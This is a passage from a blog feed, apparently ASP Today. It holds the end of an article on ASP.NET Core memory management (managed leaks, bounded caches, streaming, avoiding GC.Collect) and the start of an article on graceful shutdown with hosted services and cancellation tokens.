&#8594; deterministic resource cleanup</code></code></pre><p>They solve related but different problems.</p><h2>A Managed Memory Leak Is Still Possible</h2><p>Garbage collection does not mean memory leaks are impossible.</p><p>The GC reclaims objects that are <strong>unreachable</strong>.</p><p>If your application accidentally keeps references to objects, the GC correctly assumes they are still needed.</p><p>For example:</p><pre><code><code>private static readonly List&lt;byte[]&gt; _history = new();

public void Store(byte[] data)
{
    _history.Add(data);
}</code></code></pre><p>If nothing removes entries:</p><pre><code><code>Request
 &#8595;
Array added
 &#8595;
Static list keeps reference
 &#8595;
Object remains reachable
 &#8595;
GC cannot reclaim it</code></code></pre><p>That is a managed memory leak.</p><p>The GC is doing exactly what it should.</p><p>The application is telling it the objects remain alive.</p><h2>Common Sources of Retention</h2><p>Look carefully at:</p><pre><code><code>Static collections
Unbounded caches
Event subscriptions
Long-lived delegates
Queues
Background work
Singletons holding request data
Large object graphs
Improperly managed timers</code></code></pre><p>Again, the important question is not:</p><p><strong>Who allocated this object?</strong></p><p>It is often:</p><p><strong>Who is still referencing it?</strong></p><p>Memory profilers are particularly useful here because they can show paths from GC roots to objects that should have disappeared.</p><h2>Caches Are Deliberate Memory Retention</h2><p>Caching improves performance by keeping data available.</p><p>That means a cache is intentionally preventing objects from being collected.</p><p>This can be useful:</p><pre><code><code>Database query
     &#8595;
Expensive result
     &#8595;
Cache
     &#8595;
Reuse</code></code></pre><p>But an unbounded cache can become a memory problem.</p><p>ASP.NET Core&#8217;s <code>IMemoryCache</code> supports mechanisms for setting entry sizes and configuring a size limit when the application needs explicit cache-size accounting. Microsoft also warns that applications should not depend on cached data for correctness. </p><p>A cache needs a policy.</p><p>Ask:</p><pre><code><code>How much can it hold?

When do entries expire?

What happens under memory pressure?

Are entries bounded by count or size?

Can unusually large entries enter the cache?</code></code></pre><p>&#8220;It&#8217;s cached&#8221; is not a memory-management strategy.</p><h2>Streaming Can Beat Buffering</h2><p>Suppose an endpoint generates a 200 MB export.</p><p>One approach:</p><pre><code><code>Load everything
      &#8595;
Build giant in-memory representation
      &#8595;
Serialize everything
      &#8595;
Return response</code></code></pre><p>Memory consumption may scale with the entire response.</p><p>A streaming design can instead process smaller pieces:</p><pre><code><code>Read chunk
   &#8595;
Write chunk
   &#8595;
Release/reuse buffer
   &#8595;
Read next chunk</code></code></pre><p>Peak memory can remain far lower.</p><p>This is one reason our next article on <strong>High-Performance I/O in ASP.NET Core</strong> naturally follows this one.</p><p>Memory and I/O design are deeply connected.</p><h2>Avoid Unnecessary Copies</h2><p>Consider a large payload passing through several layers:</p><pre><code><code>Network buffer
     &#8595; copy
byte[]
     &#8595; copy
MemoryStream
     &#8595; copy
serializer buffer
     &#8595; copy
response</code></code></pre><p>Every copy consumes memory bandwidth and may create additional allocations.</p><p>Modern .NET APIs increasingly use abstractions such as:</p><pre><code><code>Span&lt;T&gt;
Memory&lt;T&gt;
ReadOnlySpan&lt;T&gt;
ReadOnlyMemory&lt;T&gt;</code></code></pre><p>to work with existing memory regions without always creating new arrays.</p><p>These tools are powerful, but they should solve a measured problem.</p><p>Turning ordinary application code into complex span-based code without evidence rarely improves maintainability.</p><h2>Avoid Materializing Data Too Early</h2><p>Suppose:</p><pre><code><code>var records = await query.ToListAsync();</code></code></pre><p>loads 500,000 records.</p><p>If we only need to process them sequentially, holding the entire result set may be unnecessary.</p><p>A streaming or batched approach may provide:</p><pre><code><code>Lower peak memory
Shorter object lifetimes
Less GC pressure
More predictable behavior</code></code></pre><p>The same principle applies to:</p><pre><code><code>File processing
Database exports
JSON processing
Message batches
Analytics pipelines</code></code></pre><p>Ask whether the entire dataset genuinely needs to exist in memory at once.</p><h2>String Work Can Be Surprisingly Expensive</h2><p>Web applications process strings constantly:</p><pre><code><code>URLs
Headers
JSON
Logs
Identifiers
HTML
Database values</code></code></pre><p>Repeated transformations can generate temporary objects.</p><p>For example:</p><pre><code><code>var normalized =
    input.Trim()
         .ToLowerInvariant()
         .Replace(" ", "-");</code></code></pre><p>That is perfectly acceptable in most ordinary code.</p><p>But if profiling identifies it as a dominant allocation source in a very hot path, it may deserve attention.</p><p>Do not prematurely optimize every string operation.</p><p>Use profiling to find the few that matter.</p><h2>Logging Can Create Allocation Pressure</h2><p>Logging is essential, but high-volume logging deserves design attention.</p><p>Imagine:</p><pre><code><code>_logger.LogInformation(
    $"Processing order {order.Id} for {customer.Name}");</code></code></pre><p>String interpolation may perform work before the logger decides whether the message will actually be emitted.</p><p>Prefer structured logging:</p><pre><code><code>_logger.LogInformation(
    "Processing order {OrderId} for {CustomerName}",
    order.Id,
    customer.Name);</code></code></pre><p>For extremely hot logging paths, .NET logging also supports high-performance patterns such as source-generated logging.</p><p>The broader lesson is familiar:</p><p><strong>Frequently executed infrastructure code matters because tiny costs multiply.</strong></p><h2>Do Not Call GC.Collect() as a Routine Fix</h2><p>A developer sees memory usage increase and writes:</p><pre><code><code>GC.Collect();</code></code></pre><p>The graph drops.</p><p>Problem solved?</p><p>Usually not.</p><p>Microsoft&#8217;s GC documentation says explicit <code>GC.Collect</code> calls are unnecessary in almost all normal cases because the collector determines when collections should occur. </p><p>Forced collection can:</p><pre><code><code>Trigger expensive work prematurely
Promote surviving objects
Disturb the collector's adaptive behavior
Create latency spikes
Hide the actual retention problem</code></code></pre><p>There are specialized cases where manual GC control is justified.</p><p>A normal ASP.NET Core request path is rarely one of them.</p><h2>High Memory Usage Is Not Automatically a Leak</h2><p>Suppose process memory rises from:</p><pre><code><code>300 MB</code></code></pre><p>to:</p><pre><code><code>1.2 GB</code></code></pre><p>and stays there.</p><p>That alone does not prove a leak.</p><p>The runtime may retain memory for efficient future allocations.</p><p>Pools may retain reusable buffers.</p><p>Caches may legitimately hold data.</p><p>The operating system and GC may manage committed and reserved memory differently from what a simple process-memory graph suggests.</p><p>A stronger leak pattern looks like:</p><pre><code><code>Load
 &#8595;
Memory rises
 &#8595;
Load falls
 &#8595;
Live managed data never stabilizes
 &#8595;
Repeat
 &#8595;
Baseline continues rising</code></code></pre><p>You need heap and retention evidence, not merely a frightening graph.</p><h2>Containers Make Memory Limits More Important</h2><p>ASP.NET Core applications increasingly run inside containers.</p><p>A container may have a strict memory limit even if the physical machine has far more memory.</p><p>The .NET GC has runtime settings for memory constraints, including hard heap limits and percentage-based limits. Current .NET documentation also describes LOH behavior in memory-constrained environments. </p><p>The practical lesson is:</p><p><strong>Test the application inside realistic memory limits.</strong></p><p>A service that behaves beautifully on a developer workstation with 64 GB of RAM may behave very differently inside a tightly constrained production container.</p><h2>Server GC and Workstation GC</h2><p>.NET supports different GC modes designed for different workload characteristics.</p><p>ASP.NET Core server workloads commonly operate with server-oriented GC behavior, which is designed for throughput and multiprocessor server scenarios.</p><p>But configuration is not something to change casually.</p><p>GC mode affects:</p><pre><code><code>Heap organization
Concurrency
Throughput
Memory consumption
Pause behavior</code></code></pre><p>Before tuning runtime GC configuration, first fix obvious application-level problems:</p><pre><code><code>Unbounded retention
Huge temporary buffers
Excessive allocation rates
Poor cache limits
Needless materialization
Missing pooling in proven hot paths</code></code></pre><p>Changing GC switches cannot compensate for fundamentally wasteful code.</p><h2>Measure Before and After Pooling</h2><p>Suppose profiling shows:</p><pre><code><code>Allocation rate: 900 MB/sec</code></code></pre><p>and 500 MB/sec comes from temporary 256 KB buffers.</p><p>That is an excellent pooling candidate.</p><p>After introducing <code>ArrayPool&lt;byte&gt;</code>:</p><pre><code><code>Allocation rate: 420 MB/sec</code></code></pre><p>Now we have evidence.</p><p>Compare that with:</p><pre><code><code>Allocation rate: 25 MB/sec</code></code></pre><p>and a developer spends two days pooling tiny DTOs to reduce it to:</p><pre><code><code>24.7 MB/sec</code></code></pre><p>The optimization increased complexity for almost no practical gain.</p><p>Performance engineering needs economics.</p><h2>A Practical Memory-Safe Processing Pipeline</h2><p>Imagine an ASP.NET Core endpoint that processes large uploaded datasets.</p><p>A naive design:</p><pre><code><code>Upload
  &#8595;
Read entire file into byte[]
  &#8595;
Convert entire file to string
  &#8595;
Parse complete document
  &#8595;
Build giant List&lt;Record&gt;
  &#8595;
Transform everything
  &#8595;
Serialize complete result
  &#8595;
Return</code></code></pre><p>Peak memory can become several times larger than the original file.</p><p>A more disciplined design:</p><pre><code><code>Upload stream
     &#8595;
Rent bounded buffer
     &#8595;
Read chunk
     &#8595;
Parse incrementally
     &#8595;
Process records
     &#8595;
Write result incrementally
     &#8595;
Reuse buffer
     &#8595;
Return buffer</code></code></pre><p>Now memory usage is related more closely to <strong>working-set size</strong> than total input size.</p><p>That is a major architectural improvement.</p><h2>Memory Management Connects to Backpressure</h2><p>Two articles ago, we explored <strong>Designing Backpressure in ASP.NET Core</strong>.</p><p>The connection is direct.</p><p>Suppose each active request needs 5 MB of working memory.</p><p>At:</p><pre><code><code>20 concurrent requests</code></code></pre><p>we may need roughly:</p><pre><code><code>100 MB</code></code></pre><p>for that working data.</p><p>At:</p><pre><code><code>2,000 concurrent requests</code></code></pre><p>the same design theoretically demands:</p><pre><code><code>10 GB</code></code></pre><p>before considering the rest of the application.</p><p>Reducing allocations helps.</p><p>But sometimes the correct solution is not to make each request 10% cheaper.</p><p>It is to <strong>limit concurrency</strong>.</p><p>Memory is another finite resource that backpressure protects.</p><h2>Memory Management Connects to Graceful Shutdown</h2><p>Our previous article covered <strong>Graceful Shutdown and Application Lifecycle in ASP.NET Core</strong>.</p><p>Memory behavior affects lifecycle too.</p><p>Suppose an instance is under extreme memory pressure when deployment begins.</p><p>Thousands of queued operations hold large buffers.</p><p>Background workers are processing oversized batches.</p><p>The application now needs to drain before termination.</p><p>A bounded, memory-conscious architecture:</p><pre><code><code>Has fewer outstanding operations
Uses controlled buffer sizes
Limits concurrent work
Keeps queues bounded</code></code></pre><p>and therefore shuts down more predictably.</p><p>Performance, resilience, and lifecycle management are not separate concerns.</p><p>They reinforce one another.</p><h2>A Practical Investigation Workflow</h2><p>Suppose production shows periodic latency spikes and high memory usage.</p><p>Do not immediately rewrite the application.</p><p>Start with questions.</p><p><strong>1. Is memory actually growing continuously?</strong></p><p>Observe the baseline over time.</p><p><strong>2. What is the allocation rate?</strong></p><p>High churn may matter even if heap size is stable.</p><p><strong>3. Which generations are collecting?</strong></p><p>Frequent Gen 2 activity deserves investigation.</p><p><strong>4. Is the LOH growing or churning?</strong></p><p>Look for large arrays, buffers, and serialized payloads.</p><p><strong>5. Which types dominate allocations?</strong></p><p>Profile them.</p><p><strong>6. Which objects dominate retained memory?</strong></p><p>Allocation and retention are different problems.</p><p><strong>7. Why are retained objects still reachable?</strong></p><p>Follow references back to GC roots.</p><p><strong>8. Are caches and queues bounded?</strong></p><p>Unbounded structures are frequent offenders.</p><p><strong>9. Can large workloads stream instead of buffer?</strong></p><p>Often, this creates bigger gains than micro-optimizations.</p><p><strong>10. Would pooling materially reduce a measured hot allocation?</strong></p><p>Only then introduce the additional lifetime complexity.</p><p>This process turns &#8220;our app uses too much memory&#8221; into an engineering problem we can actually solve.</p><h2>Common Memory Management Mistakes</h2><p>Several mistakes appear repeatedly in ASP.NET Core applications.</p><p><strong>Optimizing every allocation.</strong> Most allocations are harmless. Focus on hot paths.</p><p><strong>Assuming GC means leaks cannot happen.</strong> Reachable objects cannot be reclaimed.</p><p><strong>Repeatedly allocating large arrays.</strong> LOH churn can create expensive GC behavior.</p><p><strong>Using </strong><code>GC.Collect()</code><strong> as routine maintenance.</strong> It usually treats the symptom, not the cause.</p><p><strong>Pooling everything.</strong> Pools add ownership, reset, security, and retention complexity.</p><p><strong>Forgetting to return rented buffers.</strong> Pooling only works when lifetimes are controlled.</p><p><strong>Using pooled memory after returning it.</strong> Another caller may already own it.</p><p><strong>Keeping giant pooled objects forever.</strong> Reuse can accidentally increase retained memory.</p><p><strong>Creating unbounded caches.</strong> A cache is deliberate memory retention and needs limits.</p><p><strong>Loading entire datasets unnecessarily.</strong> Streaming and batching often reduce peak memory dramatically.</p><p><strong>Watching only process memory.</strong> Allocation rate, live heap, generations, LOH, and GC pauses tell a richer story.</p><h2>What Good Memory Behavior Looks Like</h2><p>A healthy ASP.NET Core service does not necessarily use very little memory.</p><p>A service with 4 GB available may deliberately use a meaningful portion of it for caches and runtime efficiency.</p><p>Healthy behavior looks more like:</p><pre><code><code>Predictable working set
Bounded caches
Bounded queues
Stable live heap
Controlled LOH usage
Reasonable allocation rate
Infrequent expensive collections
Low GC pause impact
No continuous unexplained growth</code></code></pre><p>Memory exists to be used.</p><p>The objective is not:</p><p><strong>Make the graph as low as possible.</strong></p><p>It is:</p><p><strong>Use memory deliberately enough that performance remains predictable under realistic load.</strong></p><h2>Coming Next</h2><p>In the next article, we&#8217;ll explore <strong>High-Performance I/O in ASP.NET Core: Streams, Pipelines, and Efficient Data Processing</strong>.</p><p>Memory management taught us why repeatedly allocating and copying large buffers can become expensive.</p><p>The natural next question is:</p><p><strong>How can we move large amounts of data without constantly creating those buffers in the first place?</strong></p><p>We&#8217;ll look at streaming, <code>Stream</code>, <code>PipeReader</code>, <code>PipeWriter</code>, buffering, backpressure within I/O pipelines, large request and response bodies, and the patterns that help ASP.NET Core process data efficiently without loading everything into memory.</p><h3>Closing Thoughts</h3><p>.NET&#8217;s garbage collector is extremely good at managing memory, but it cannot decide whether your application should have created an object in the first place.</p><p>That distinction sits at the heart of ASP.NET Core memory performance.</p><p>Generation 0 makes short-lived allocations inexpensive.</p><p>Generations 1 and 2 allow the runtime to treat surviving objects differently.</p><p>The Large Object Heap handles allocations that are expensive to move.</p><p><code>ArrayPool&lt;T&gt;</code> and object pools allow selected expensive objects to be reused.</p><p>Streaming can prevent giant intermediate representations.</p><p>Bounded caches and queues prevent intentional retention from becoming uncontrolled growth.</p><p>None of these tools means that allocation itself is bad.</p><p>In fact, ordinary managed allocation is one of .NET&#8217;s strengths.</p><p>The problem is <strong>unnecessary allocation at scale</strong>.</p><p>A few temporary objects in an endpoint called once per minute do not deserve heroic optimization. The same pattern executed tens of thousands of times per second may deserve serious attention.</p><p>So when an ASP.NET Core application&#8217;s memory graph starts looking uncomfortable, do not begin with:</p><pre><code><code>How do we force the GC to clean this up?</code></code></pre><p>Begin with:</p><pre><code><code>What are we allocating?

How often are we allocating it?

How long does it stay alive?

Why does it stay alive?

Does the whole object need to exist?

Could the data be streamed?

Could an expensive buffer be safely reused?

Is concurrency creating more live memory than the process can support?</code></code></pre><p>Those questions lead to durable improvements.</p><p>The best memory optimization is often not making the garbage collector work faster.</p><p>It is <strong>giving the garbage collector less unnecessary work to do.</strong></p><h3>Subscribe Now</h3><p>Enjoying the series? Subscribe to <strong><a href="https://www.asptoday.com/">ASP Today</a></strong> for practical ASP.NET Core tutorials, advanced architecture deep dives, and production-ready .NET performance strategies. Join our Substack Chat to discuss garbage collection, memory diagnostics, application performance, and the engineering decisions behind fast, reliable ASP.NET Core systems. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Graceful Shutdown and Application Lifecycle in ASP.NET Core: Deploy Without Dropping Work]]></title><description><![CDATA[Deploy ASP.NET Core apps without dropping work using graceful shutdown and lifecycle patterns. #ASPToday #aspnetcore #dotnet #resilience]]></description><link>https://www.asptoday.com/p/graceful-shutdown-and-application</link><guid isPermaLink="false">https://www.asptoday.com/p/graceful-shutdown-and-application</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 08 Sep 2026 15:01:53 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!t2Xa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e8cb25b-bd69-434a-83bb-fe8f6a41ff25_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Stopping an <a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core</a> application sounds simple until that application is processing a payment, writing an order, consuming a message, generating a report, or running a backgaround job at the exact moment shutdown begins. In production, processes disappear routinely during deployments, container replacements, scaling events, restarts, and infrastructure maintenance. A graceful shutdown gives the application time to stop taking new work, signal running operations, finish or safely abandon what is already in progress, release resources, and exit cleanly. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!t2Xa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e8cb25b-bd69-434a-83bb-fe8f6a41ff25_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!t2Xa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e8cb25b-bd69-434a-83bb-fe8f6a41ff25_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!t2Xa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e8cb25b-bd69-434a-83bb-fe8f6a41ff25_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!t2Xa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e8cb25b-bd69-434a-83bb-fe8f6a41ff25_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!t2Xa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e8cb25b-bd69-434a-83bb-fe8f6a41ff25_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!t2Xa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e8cb25b-bd69-434a-83bb-fe8f6a41ff25_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1e8cb25b-bd69-434a-83bb-fe8f6a41ff25_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2654439,&quot;alt&quot;:&quot;Harbor crews safely dock ships before a storm, symbolizing graceful application shutdown. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/214376452?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e8cb25b-bd69-434a-83bb-fe8f6a41ff25_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Harbor crews safely dock ships before a storm, symbolizing graceful application shutdown. " title="Harbor crews safely dock ships before a storm, symbolizing graceful application shutdown. " srcset="https://substackcdn.com/image/fetch/$s_!t2Xa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e8cb25b-bd69-434a-83bb-fe8f6a41ff25_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!t2Xa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e8cb25b-bd69-434a-83bb-fe8f6a41ff25_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!t2Xa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e8cb25b-bd69-434a-83bb-fe8f6a41ff25_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!t2Xa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1e8cb25b-bd69-434a-83bb-fe8f6a41ff25_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In this guide, we'll explore the ASP.NET Core application lifecycle, <code>IHostedService</code>, <code>BackgroundService</code>, cancellation tokens, shutdown timeouts, readiness, queue draining, and the design decisions that prevent routine deployments from becoming data-loss events. </p><h2>Your Application Will Eventually Be Stopped</h2><p>Developers spend enormous effort thinking about how applications start.</p><p>We configure <a href="https://www.asptoday.com/p/dependency-injection-in-aspnet-core">dependency injection</a>.</p><p>We establish database connections.</p><p>We warm caches.</p><p>We initialize services.</p><p>We start background workers.</p><p>But production applications also need to <strong>stop correctly</strong>.</p><p>Consider a checkout request:</p><pre><code><code>Customer
   &#8595;
ASP.NET Core
   &#8595;
Create Order
   &#8595;
Reserve Inventory
   &#8595;
Charge Payment
   &#8595;
Send Confirmation</code></code></pre><p>Now imagine a deployment begins after the payment succeeds but before the order is saved.</p><p>If the process disappears immediately, we may have:</p><pre><code><code>Payment charged
Order missing
Confirmation missing</code></code></pre><p>Nothing was wrong with the business logic.</p><p>The application simply disappeared at the wrong moment.</p><p>Graceful shutdown exists to make that transition controlled rather than abrupt.</p><h2>Graceful Shutdown Is Not &#8220;Wait Forever&#8221;</h2><p>A graceful shutdown does not mean:</p><p><strong>Keep the process alive until absolutely everything finishes.</strong></p><p>That would create a different problem.</p><p>A stuck operation could prevent a deployment indefinitely.</p><p>Instead, graceful shutdown means:</p><ol><li><p>Shutdown is requested.<br></p></li><li><p>The application stops taking inappropriate new work.<br></p></li><li><p>Running components are notified.<br></p></li><li><p>In-flight work gets a limited opportunity to finish.<br></p></li><li><p>Resources are cleaned up.<br></p></li><li><p>The process exits.<br></p></li></ol><p>There is always a boundary.</p><p>The real architectural question is:</p><p><strong>What can we safely accomplish before that boundary is reached?</strong></p><h2>The ASP.NET Core Host Has a Lifecycle</h2><p>Modern ASP.NET Core applications run inside the .NET Generic Host.</p><p>The host coordinates application startup, dependency injection, logging, configuration, hosted services, and shutdown.</p><p>A simplified lifecycle looks like this:</p><pre><code><code>Process starts
     &#8595;
Host starts
     &#8595;
Services initialize
     &#8595;
Application becomes ready
     &#8595;
Normal operation
     &#8595;
Shutdown requested
     &#8595;
Services stop
     &#8595;
Resources released
     &#8595;
Process exits</code></code></pre><p>ASP.NET Core&#8217;s server abstraction supports graceful stopping. <code>IServer.StopAsync</code> tells the server to stop processing requests and shut down gracefully where possible. </p><p>This lifecycle gives our code a chance to react.</p><p>But that opportunity only helps if the application is designed to use it.</p><h2>What Triggers Shutdown?</h2><p>Shutdown can begin for many reasons:</p><pre><code><code>New deployment
Container replacement
Manual restart
Scale-in event
Host shutdown
Operating system shutdown
Ctrl+C during development
SIGTERM in a container
Application-requested shutdown</code></code></pre><p>A routine rolling deployment is therefore an application lifecycle event.</p><p>Suppose version 17 is running:</p><pre><code><code>Instance A  v17
Instance B  v17
Instance C  v17</code></code></pre><p>Version 18 is deployed.</p><p>An orchestrator may gradually replace those processes:</p><pre><code><code>Instance A  v18
Instance B  v17
Instance C  v17</code></code></pre><p>then:</p><pre><code><code>Instance A  v18
Instance B  v18
Instance C  v17</code></code></pre><p>and eventually:</p><pre><code><code>Instance A  v18
Instance B  v18
Instance C  v18</code></code></pre><p>Each old process needs to leave safely.</p><p>Graceful shutdown is therefore part of deployment architecture, not merely application cleanup.</p><h2>ASP.NET Core Gives Us Lifecycle Signals</h2><p>For application-wide lifecycle events, modern .NET exposes <code>IHostApplicationLifetime</code>.</p><p>It provides cancellation tokens associated with important host transitions:</p><pre><code><code>public sealed class LifecycleLogger
{
    public LifecycleLogger(
        IHostApplicationLifetime lifetime,
        ILogger&lt;LifecycleLogger&gt; logger)
    {
        lifetime.ApplicationStarted.Register(() =&gt;
            logger.LogInformation(
                "Application started"));

        lifetime.ApplicationStopping.Register(() =&gt;
            logger.LogInformation(
                "Application stopping"));

        lifetime.ApplicationStopped.Register(() =&gt;
            logger.LogInformation(
                "Application stopped"));
    }
}</code></code></pre><p>These signals let components observe the application&#8217;s lifecycle.</p><p>An important naming detail is worth noting. Older examples may use <code>IApplicationLifetime</code>. That interface is deprecated in favor of <code>IHostApplicationLifetime</code>. </p><p>For new ASP.NET Core applications, use the current hosting abstraction.</p><h2>ApplicationStopping Is a Warning Bell</h2><p>Conceptually, <code>ApplicationStopping</code> means:</p><p><strong>The host is shutting down. Prepare to stop.</strong></p><p>This is not the moment to begin ten minutes of new processing.</p><p>It is a signal to:</p><pre><code><code>Stop creating new internal work
Stop polling for more work
Signal long-running operations
Flush small buffers where appropriate
Prepare resources for disposal</code></code></pre><p>The application should already know what &#8220;prepare to stop&#8221; means.</p><p>Trying to invent that policy inside a shutdown callback is too late.</p><h2>Hosted Services Fit Naturally Into the Lifecycle</h2><p>ASP.NET Core background processing is commonly implemented with <code>IHostedService</code> or <code>BackgroundService</code>.</p><p><code>IHostedService</code> defines:</p><pre><code><code>Task StartAsync(CancellationToken cancellationToken);

Task StopAsync(CancellationToken cancellationToken);</code></code></pre><p>The host calls these methods as part of service startup and shutdown. </p><p>A simple service might look like:</p><pre><code><code>public sealed class CacheService : IHostedService
{
    private readonly ILogger&lt;CacheService&gt; _logger;

    public CacheService(
        ILogger&lt;CacheService&gt; logger)
    {
        _logger = logger;
    }

    public Task StartAsync(
        CancellationToken cancellationToken)
    {
        _logger.LogInformation("Cache service started");

        return Task.CompletedTask;
    }

    public Task StopAsync(
        CancellationToken cancellationToken)
    {
        _logger.LogInformation("Cache service stopping");

        return Task.CompletedTask;
    }
}</code></code></pre><p>For continuous background work, however, <code>BackgroundService</code> is usually more convenient.</p><h2>BackgroundService and the Stopping Token</h2><p>Consider a worker that processes queued jobs:</p><pre><code><code>public sealed class OrderWorker : BackgroundService
{
    private readonly OrderQueue _queue;
    private readonly ILogger&lt;OrderWorker&gt; _logger;

    public OrderWorker(
        OrderQueue queue,
        ILogger&lt;OrderWorker&gt; logger)
    {
        _queue = queue;
        _logger = logger;
    }

    protected override async Task ExecuteAsync(
        CancellationToken stoppingToken)
    {
        while (!stoppingToken.IsCancellationRequested)
        {
            var order =
                await _queue.ReadAsync(stoppingToken);

            await ProcessOrderAsync(
                order,
                stoppingToken);
        }
    }
}</code></code></pre><p><code>BackgroundService.ExecuteAsync</code> represents the lifetime of the long-running background operation, and the host waits during shutdown for that execution to finish. The stopping token is how the service learns that shutdown has begun. </p><p>That token is not decorative.</p><p>If our code ignores it:</p><pre><code><code>await ProcessOrderAsync(order);</code></code></pre><p>the host may be trying to stop while our worker behaves as though nothing happened.</p><p>Cancellation needs to flow through the application.</p><h2>Pass Cancellation Tokens Downward</h2><p>Suppose:</p><pre><code><code>protected override async Task ExecuteAsync(
    CancellationToken stoppingToken)
{
    while (!stoppingToken.IsCancellationRequested)
    {
        var job = await GetJobAsync(stoppingToken);

        await ProcessAsync(job, stoppingToken);
    }
}</code></code></pre><p>Then:</p><pre><code><code>private async Task ProcessAsync(
    Job job,
    CancellationToken cancellationToken)
{
    var data = await LoadDataAsync(
        job,
        cancellationToken);

    await SaveResultAsync(
        data,
        cancellationToken);
}</code></code></pre><p>And where supported:</p><pre><code><code>await dbContext.SaveChangesAsync(
    cancellationToken);</code></code></pre><p>The signal travels through the operation:</p><pre><code><code>Host stopping
     &#8595;
BackgroundService
     &#8595;
Business service
     &#8595;
Database / HTTP / I/O</code></code></pre><p>Now shutdown can actually influence the work being performed.</p><p>Without propagation, the top-level token does very little.</p><h2>Cancellation Does Not Mean Failure</h2><p>A shutdown cancellation token means:</p><p><strong>The application would like this operation to stop.</strong></p><p>That is different from an unexpected exception.</p><p>A well-designed worker may treat <code>OperationCanceledException</code> during normal shutdown as expected.</p><p>For example:</p><pre><code><code>protected override async Task ExecuteAsync(
